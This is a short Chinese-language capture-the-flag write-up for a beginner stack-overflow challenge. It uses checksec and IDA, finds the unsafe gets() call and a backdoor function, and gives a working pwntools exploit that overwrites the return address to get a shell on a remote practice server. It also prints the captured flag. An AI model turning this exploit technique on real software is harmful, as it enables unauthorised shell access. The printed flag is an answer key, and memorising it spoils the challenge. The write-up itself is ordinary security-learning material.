先用checksec看一下保护情况
红色表示没有保护,绿色则表示有相应的保护
关于每种保护会在之后的做题中遇到,也有相应的应对措施,这次就不过多深入
打开ida64分析附件
发现高危函数gets,这个函数不会检查输入的长度
我们可以利用它修改函数的返回地址,从而执行后门函数
找到后门函数了,可以通过这个获取shell,然后拿到flag
在程序界面按tab切换到图形化汇编窗口,再按空格切换到普通汇编窗口
由于程序没有开启PIE(地址空间随机化),可以直接利用ida中后门函数的地址(有PIE后地址会变,每次运行地址不固定)
看看输入"abcdefghijklmnoonmlkjihgfedcba"之后栈的情况
所以exp
from pwn import *p = remote("node5.buuoj.cn",27174)payload = b'a'*15+b'b'*8+p64(0x40118A)p.sendline(payload)p.interactive()
flag{48545090-76f7-4fc7-9cf8-0855ca560508}
15个a填充s字符数组,8个b填充rbp,之后加上返回地址
这样是可以打通的,但是有几个疑问:
1.payload修改为b'a'15+p64(0x401186)仍可以打通
2.payload修改为b'a'15+b'b'*8+p64(0x401186)不可打通
听说和堆栈平衡有关,等我之后研究一下再更新
如果有大佬知道原因的希望可以解答一下